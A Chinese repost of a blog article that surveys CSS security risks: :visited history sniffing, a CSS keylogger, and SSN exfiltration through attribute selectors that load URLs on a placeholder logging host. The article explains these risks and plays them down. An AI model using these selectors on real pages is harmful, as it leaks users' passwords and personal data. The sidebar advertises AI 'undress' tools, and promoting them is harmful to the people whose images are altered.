不必驚慌！ CSS本身並非主要的重大安全隱患，大多數(shù)情況下無需過度擔(dān)憂。
然而，一些文章會討論CSS潛在的令人意外甚至擔(dān)憂的功能。讓我們來總結(jié)一下：
訪問過的鏈接問題
該問題描述如下：
- 網(wǎng)站上有一個指向特定頁面的鏈接，例如Tickle Pigs 。
- 你使用
:visited樣式設(shè)置訪問過的鏈接顏色，例如a:visited { color: pink; }，這並非默認(rèn)的用戶代理樣式。 - 你測試該鏈接的計算樣式。
- 如果顏色為粉色，則表明該用戶訪問過該頁面。
- 你將此信息報告給某個服務(wù)器，並據(jù)此進(jìn)行某些操作（例如提高保險費(fèi)率）。
你甚至可能完全使用CSS實現(xiàn)此目的，因為:visited樣式可能包含background-image: url(/data-logger/tickle.php); ，只有訪問過該頁面的用戶才會請求該圖片。
不必?fù)?dān)心！瀏覽器已經(jīng)阻止了這種攻擊方式。
鍵盤記錄器
該問題描述如下：
- 頁面上有一個輸入框，可能是密碼輸入框。
- 你將一個記錄腳本作為輸入框的背景圖片，並添加大量選擇器來收集密碼信息。
input[value^="a"] { background: url(logger.php?v=a); }
這並不容易實現(xiàn)。輸入框的value屬性不會因為用戶輸入而立即改變。但在React等框架中，有時會發(fā)生這種情況。因此，理論上，如果將此CSS添加到使用React構(gòu)建的登錄頁面，則此CSS鍵盤記錄器可能有效。
但是，在這種情況下，頁面上已經(jīng)執(zhí)行了JavaScript代碼。對於此類攻擊，JavaScript比CSS危險得多。 JavaScript鍵盤記錄器只需幾行代碼即可監(jiān)控按鍵事件並通過Ajax進(jìn)行報告。
內(nèi)容安全策略(CSP) 可以阻止第三方和XSS注入的內(nèi)聯(lián)JavaScript……當(dāng)然也可以阻止CSS。
數(shù)據(jù)竊取
該問題描述如下：
- 如果我能將惡意CSS添加到你已登錄的網(wǎng)站頁面……
- 並且該網(wǎng)站顯示敏感信息，例如社會安全號碼(SSN)，預(yù)先填充在表單中……
- 我可以用屬性選擇器來獲取它。
input#ssn[value="123-45-6789"] { background: url(https://secret-site.com/logger.php?ssn=123-45-6789); }
通過大量選擇器，你可以覆蓋所有可能性！
內(nèi)聯(lián)樣式塊問題
我不確定是否應(yīng)該將此歸咎於CSS，但想像一下：
... 插入一些用戶生成的內(nèi)容...
也許你允許用戶自定義一些CSS。這是一個攻擊向量，因為他們可以關(guān)閉樣式標(biāo)籤，打開腳本標(biāo)籤，並編寫惡意的JavaScript代碼。
肯定還有更多
想到了嗎？分享出來吧。
我對CSS安全漏洞的恐懼程度持懷疑態(tài)度。我不想過分輕描淡寫安全問題（尤其是第三方問題），因為我不是專家，安全至關(guān)重要。但與此同時，我從未聽說過CSS成為除思想實驗之外的任何攻擊載體。請教教我！
以上是CSS安全漏洞的詳細(xì)內(nèi)容。更多資訊請關(guān)注PHP中文網(wǎng)其他相關(guān)文章！
熱AI工具
Undress AI Tool
免費(fèi)脫衣圖片
Undresser.AI Undress
人工智慧驅(qū)動的應(yīng)用程序，用於創(chuàng)建逼真的裸體照片
AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。
Clothoff.io
AI脫衣器
Video Face Swap
使用我們完全免費(fèi)的人工智慧換臉工具，輕鬆在任何影片中換臉！
熱門文章
熱工具
記事本++7.3.1
好用且免費(fèi)的程式碼編輯器
SublimeText3漢化版
中文版，非常好用
禪工作室 13.0.1
強(qiáng)大的PHP整合開發(fā)環(huán)境
Dreamweaver CS6
視覺化網(wǎng)頁開發(fā)工具
SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)
熱門話題
什麼是'渲染障礙CSS”？
Jun 24, 2025 am 12:42 AM
CSS會阻塞頁面渲染是因為瀏覽器默認(rèn)將內(nèi)聯(lián)和外部CSS視為關(guān)鍵資源，尤其是使用引入的樣式表、頭部大量內(nèi)聯(lián)CSS以及未優(yōu)化的媒體查詢樣式。 1.提取關(guān)鍵CSS並內(nèi)嵌至HTML；2.延遲加載非關(guān)鍵CSS通過JavaScript；3.使用media屬性優(yōu)化加載如打印樣式；4.壓縮合併CSS減少請求。建議使用工具提取關(guān)鍵CSS，結(jié)合rel="preload"異步加載，合理使用media延遲加載，避免過度拆分與復(fù)雜腳本控制。
什麼是AutoPrefixer，它如何工作？
Jul 02, 2025 am 01:15 AM
Autoprefixer是一個根據(jù)目標(biāo)瀏覽器範(fàn)圍自動為CSS屬性添加廠商前綴的工具。 1.它解決了手動維護(hù)前綴易出錯的問題；2.通過PostCSS插件形式工作，解析CSS、分析需加前綴的屬性、依配置生成代碼；3.使用步驟包括安裝插件、設(shè)置browserslist、在構(gòu)建流程中啟用；4.注意事項有不手動加前綴、保持配置更新、非所有屬性都加前綴、建議配合預(yù)處理器使用。
什麼是圓錐級函數(shù)？
Jul 01, 2025 am 01:16 AM
theconic-Gradient（）functionIncsscreatesCircularGradientsThatRotateColorStopSaroundAcentralPoint.1.IsidealForPieCharts，ProgressIndicators，colordichers，colorwheels和decorativeBackgrounds.2.itworksbysbysbysbydefindefingincolordefingincolorstopsatspecificains off.
CSS教程，用於創(chuàng)建粘性標(biāo)頭或頁腳
Jul 02, 2025 am 01:04 AM
TocreatestickyheadersandfooterswithCSS,useposition:stickyforheaderswithtopvalueandz-index,ensuringparentcontainersdon’trestrictit.1.Forstickyheaders:setposition:sticky,top:0,z-index,andbackgroundcolor.2.Forstickyfooters,betteruseposition:fixedwithbot
CSS自定義屬性的範(fàn)圍是什麼？
Jun 25, 2025 am 12:16 AM
CSS自定義屬性的作用域取決於其聲明的上下文，全局變量通常定義在:root中，而局部變量則定義在特定選擇器內(nèi)，以便組件化和隔離樣式。例如，定義在.card類中的變量僅對匹配該類的元素及其子元素可用。最佳實踐包括：1.使用:root定義全局變量如主題色；2.在組件內(nèi)部定義局部變量以實現(xiàn)封裝；3.避免重複聲明同一變量；4.注意選擇器特異性可能引發(fā)的覆蓋問題。此外，CSS變量區(qū)分大小寫，且應(yīng)在使用前定義以避免錯誤。若變量未定義或引用失敗，則會採用回退值或默認(rèn)值initial。調(diào)試時可通過瀏覽器開發(fā)者工
CSS教程專注於移動優(yōu)先設(shè)計
Jul 02, 2025 am 12:52 AM
Mobile-firstCSSdesignrequiressettingtheviewportmetatag,usingrelativeunits,stylingfromsmallscreensup,optimizingtypographyandtouchtargets.First,addtocontrolscaling.Second,use%,em,orreminsteadofpixelsforflexiblelayouts.Third,writebasestylesformobile,the
如何創(chuàng)建本質(zhì)上響應(yīng)的網(wǎng)格佈局？
Jul 02, 2025 am 01:19 AM
要創(chuàng)建內(nèi)在響應(yīng)式網(wǎng)格佈局，核心方法是使用CSSGrid的repeat(auto-fit,minmax())模式；1.設(shè)置grid-template-columns:repeat(auto-fit,minmax(200px,1fr))讓瀏覽器自動調(diào)整列數(shù)並限制每列最小和最大寬度；2.使用gap控制格子間距；3.容器應(yīng)設(shè)為相對單位如width:100%、配合box-sizing:border-box避免寬度計算錯誤並用margin:auto居中；4.可選設(shè)置行高與內(nèi)容對齊方式提升視覺一致性，如row
CSS教程，用於創(chuàng)建加載旋轉(zhuǎn)器和動畫
Jul 07, 2025 am 12:07 AM
創(chuàng)建CSS加載旋轉(zhuǎn)器的方法有三種：1.使用邊框的基本旋轉(zhuǎn)器，通過HTML和CSS實現(xiàn)簡單動畫；2.使用多個點的自定義旋轉(zhuǎn)器，通過不同延遲時間實現(xiàn)跳動效果；3.在按鈕中添加旋轉(zhuǎn)器，通過JavaScript切換類來顯示加載狀態(tài)。每種方法都強(qiáng)調(diào)了設(shè)計細(xì)節(jié)如顏色、大小、可訪問性和性能優(yōu)化的重要性，以提升用戶體驗。
